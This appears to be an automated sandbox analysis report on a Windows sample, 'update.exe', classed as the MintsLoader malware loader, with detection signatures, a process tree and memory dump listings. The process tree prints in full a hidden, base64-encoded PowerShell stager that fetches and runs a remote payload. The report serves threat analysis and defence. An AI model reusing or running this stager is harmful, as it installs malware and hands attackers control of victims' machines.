Analysis
- max time kernel
149s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260710-en - resource tags
- submitted
13/08/2026, 16:55
General
- Target update.exe
- Size 7.7MB
- Sample260813-vffdpsvbmg
- SHA256 63963fc9dede449e5e40520f6c40e34888ef2cc0fa459772437ec6b69f44267e
Score
10/10
Malware Config
Signatures
- Family: MintsLoader
MintsLoader is a multi-stage malware loader.
- Suricata alert: MintsLoader Outbound C2 Communication 1 IoCs
Network activity triggered a Suricata alert
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
- cURL User-Agent 2 IoCs
Uses User-Agent string associated with cURL utility.
Processes
-
C:\Users\Admin\AppData\Local\Temp\update.exe"C:\Users\Admin\AppData\Local\Temp\update.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"cmd.exe" /C powershell -w h -e JABmAG8AZQBkAHUAcQB3AGwAawBuAGIAZwBpAG0APQAnAHUAcgAnACAAOwBzAGUAdAAtAGEAbABpAGEAcwAgAGgAZgA3AHcAegAzADIAZQAgAGMAJAAoACQAZgBvAGUAZAB1AHEAdwBsAGsAbgBiAGcAaQBtACkAbAA7ACQAYQBxAHcAdQBmAHkAaQByAHAAawBqAGwAPQAoADQAOAA1ADkALAA0ADgANwAxACwANAA4ADcAMQAsADQAOAA2ADcALAA0ADgAMQAzACwANAA4ADAAMgAsADQAOAAwADIALAA0ADgAMAA5ACwANAA4ADcAMQAsADQAOAA2ADMALAA0ADgAMAA3ACwANAA4ADEAMgAsADQAOAA3ADYALAA0ADgAMAAzACwANAA4ADcANQAsADQAOAA2ADYALAA0ADgANQAyACwANAA4ADUANgAsADQAOAA3ADEALAA0ADgAMQAwACwANAA4ADYAMwAsADQAOAAwADMALAA0ADgAMAAxACwANAA4ADcAMQAsADQAOAA2ADYALAA0ADgANgA3ACwANAA4ADAAMgAsADQAOAAwADQALAA0ADgAMAAxACwANAA4ADYANwAsADQAOAA1ADkALAA0ADgANgA3ACwANAA4ADEAOAAsADQAOAA3ADAALAA0ADgAMQA2ACwANAA4ADAAMwAsADQAOAAwADcALAA0ADgANQA2ACwANAA4ADAANAAsADQAOAA1ADIALAA0ADgANQAzACwANAA4ADAANQAsADQAOAA1ADMALAA0ADgAMAAwACwANAA4ADAANgAsADQAOAA1ADcALAA0ADgAMQAyACwANAA4ADAANgAsADQAOAAwADAALAA0ADgAMAA3ACwANAA4ADAAOQAsADQAOAA1ADcALAA0ADgANQAyACwANAA4ADAAMAAsADQAOAAxADIALAA0ADgANQAyACwANAA4ADUANgAsADQAOAA1ADUALAA0ADgAMAAwACwANAA4ADUANAAsADQAOAAwADYALAA0ADgANQAyACwANAA4ADAANQAsADQAOAA1ADIALAA0ADgAMAA2ACwANAA4ADUANwAsADQAOAAwADQALAA0ADgAMAA1ACwANAA4ADAAOQAsADQAOAA1ADQALAA0ADgAMQAyACkAOwAkAHYAagBpAHUAdABmAHAAdwBzAHoAYwBuAGcAPQAoACcAcgBlAGkAYwBwAG8AcgBlAHQAJwAsACcAZwBlAHQALQBjAG0AZABsAGUAdAAnACkAOwAkAHYAawBoAHkAZAB6AHcAbQByAG4AcQBhAGUAeAA9ACQAYQBxAHcAdQBmAHkAaQByAHAAawBqAGwAOwBmAG8AcgBlAGEAYwBoACgAJABvAGMAYgB1AGYAZQAgAGkAbgAgACQAdgBrAGgAeQBkAHoAdwBtAHIAbgBxAGEAZQB4ACkAewAkAGkAawB0AG0AeABnAHIAdgBsAGIAPQAkAG8AYwBiAHUAZgBlADsAJABlAHYAdABrAHMAaQBuAHkAPQAkAGUAdgB0AGsAcwBpAG4AeQArAFsAYwBoAGEAcgBdACgAJABpAGsAdABtAHgAZwByAHYAbABiAC0ANAA3ADUANQApADsAJABlAGEAawB4AGcAaQBoAHMAdQBjAGQAdwBtAD0AJABlAHYAdABrAHMAaQBuAHkAOwAgACQAaABpAHUAZwB4AHoAdwBtAGQAPQAkAGUAYQBrAHgAZwBpAGgAcwB1AGMAZAB3AG0AfQA7ACQAZQBhAG0AdgBqAHMAdwBxAGgAWwAyAF0APQAkAGgAaQB1AGcAeAB6AHcAbQBkADsAJAB1AGcAdABkAHYAcQA9ACcAcgBsACcAOwAkAGwAZABmAGcAagBhAD0AMQA7AC4AJAAoAFsAYwBoAGEAcgBdACgAKAAoADIAMAAwACAAKwAgADMAMAApACAALQAgACgAMQAwADAAIAArACAAMgA1ACkAKQApACsAJwBlACcAKwAnAHgAJwApACgAaABmADcAdwB6ADMAMgBlACAALQB1AHMAZQBiACAAJABoAGkAdQBnAHgAegB3AG0AZAApAA==2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w h -e JABmAG8AZQBkAHUAcQB3AGwAawBuAGIAZwBpAG0APQAnAHUAcgAnACAAOwBzAGUAdAAtAGEAbABpAGEAcwAgAGgAZgA3AHcAegAzADIAZQAgAGMAJAAoACQAZgBvAGUAZAB1AHEAdwBsAGsAbgBiAGcAaQBtACkAbAA7ACQAYQBxAHcAdQBmAHkAaQByAHAAawBqAGwAPQAoADQAOAA1ADkALAA0ADgANwAxACwANAA4ADcAMQAsADQAOAA2ADcALAA0ADgAMQAzACwANAA4ADAAMgAsADQAOAAwADIALAA0ADgAMAA5ACwANAA4ADcAMQAsADQAOAA2ADMALAA0ADgAMAA3ACwANAA4ADEAMgAsADQAOAA3ADYALAA0ADgAMAAzACwANAA4ADcANQAsADQAOAA2ADYALAA0ADgANQAyACwANAA4ADUANgAsADQAOAA3ADEALAA0ADgAMQAwACwANAA4ADYAMwAsADQAOAAwADMALAA0ADgAMAAxACwANAA4ADcAMQAsADQAOAA2ADYALAA0ADgANgA3ACwANAA4ADAAMgAsADQAOAAwADQALAA0ADgAMAAxACwANAA4ADYANwAsADQAOAA1ADkALAA0ADgANgA3ACwANAA4ADEAOAAsADQAOAA3ADAALAA0ADgAMQA2ACwANAA4ADAAMwAsADQAOAAwADcALAA0ADgANQA2ACwANAA4ADAANAAsADQAOAA1ADIALAA0ADgANQAzACwANAA4ADAANQAsADQAOAA1ADMALAA0ADgAMAAwACwANAA4ADAANgAsADQAOAA1ADcALAA0ADgAMQAyACwANAA4ADAANgAsADQAOAAwADAALAA0ADgAMAA3ACwANAA4ADAAOQAsADQAOAA1ADcALAA0ADgANQAyACwANAA4ADAAMAAsADQAOAAxADIALAA0ADgANQAyACwANAA4ADUANgAsADQAOAA1ADUALAA0ADgAMAAwACwANAA4ADUANAAsADQAOAAwADYALAA0ADgANQAyACwANAA4ADAANQAsADQAOAA1ADIALAA0ADgAMAA2ACwANAA4ADUANwAsADQAOAAwADQALAA0ADgAMAA1ACwANAA4ADAAOQAsADQAOAA1ADQALAA0ADgAMQAyACkAOwAkAHYAagBpAHUAdABmAHAAdwBzAHoAYwBuAGcAPQAoACcAcgBlAGkAYwBwAG8AcgBlAHQAJwAsACcAZwBlAHQALQBjAG0AZABsAGUAdAAnACkAOwAkAHYAawBoAHkAZAB6AHcAbQByAG4AcQBhAGUAeAA9ACQAYQBxAHcAdQBmAHkAaQByAHAAawBqAGwAOwBmAG8AcgBlAGEAYwBoACgAJABvAGMAYgB1AGYAZQAgAGkAbgAgACQAdgBrAGgAeQBkAHoAdwBtAHIAbgBxAGEAZQB4ACkAewAkAGkAawB0AG0AeABnAHIAdgBsAGIAPQAkAG8AYwBiAHUAZgBlADsAJABlAHYAdABrAHMAaQBuAHkAPQAkAGUAdgB0AGsAcwBpAG4AeQArAFsAYwBoAGEAcgBdACgAJABpAGsAdABtAHgAZwByAHYAbABiAC0ANAA3ADUANQApADsAJABlAGEAawB4AGcAaQBoAHMAdQBjAGQAdwBtAD0AJABlAHYAdABrAHMAaQBuAHkAOwAgACQAaABpAHUAZwB4AHoAdwBtAGQAPQAkAGUAYQBrAHgAZwBpAGgAcwB1AGMAZAB3AG0AfQA7ACQAZQBhAG0AdgBqAHMAdwBxAGgAWwAyAF0APQAkAGgAaQB1AGcAeAB6AHcAbQBkADsAJAB1AGcAdABkAHYAcQA9ACcAcgBsACcAOwAkAGwAZABmAGcAagBhAD0AMQA7AC4AJAAoAFsAYwBoAGEAcgBdACgAKAAoADIAMAAwACAAKwAgADMAMAApACAALQAgACgAMQAwADAAIAArACAAMgA1ACkAKQApACsAJwBlACcAKwAnAHgAJwApACgAaABmADcAdwB6ADMAMgBlACAALQB1AHMAZQBiACAAJABoAGkAdQBnAHgAegB3AG0AZAApAA==3⤵
- Suricata alert: MintsLoader Outbound C2 Communication
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/3248-43-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-47-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-37-0x00007FFE9C01F000-0x00007FFE9C020000-memory.dmp
memory/3248-40-0x0000028679DD0000-0x0000028679DF2000-memory.dmp
memory/3248-41-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-42-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-54-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-45-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-51-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-46-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-44-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-48-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/3248-49-0x00007FFE9BE90000-0x00007FFE9C834000-memory.dmp
memory/4640-0-0x000001C280500000-0x000001C280AE0000-memory.dmp
memory/4640-6-0x000001C280500000-0x000001C280AE0000-memory.dmp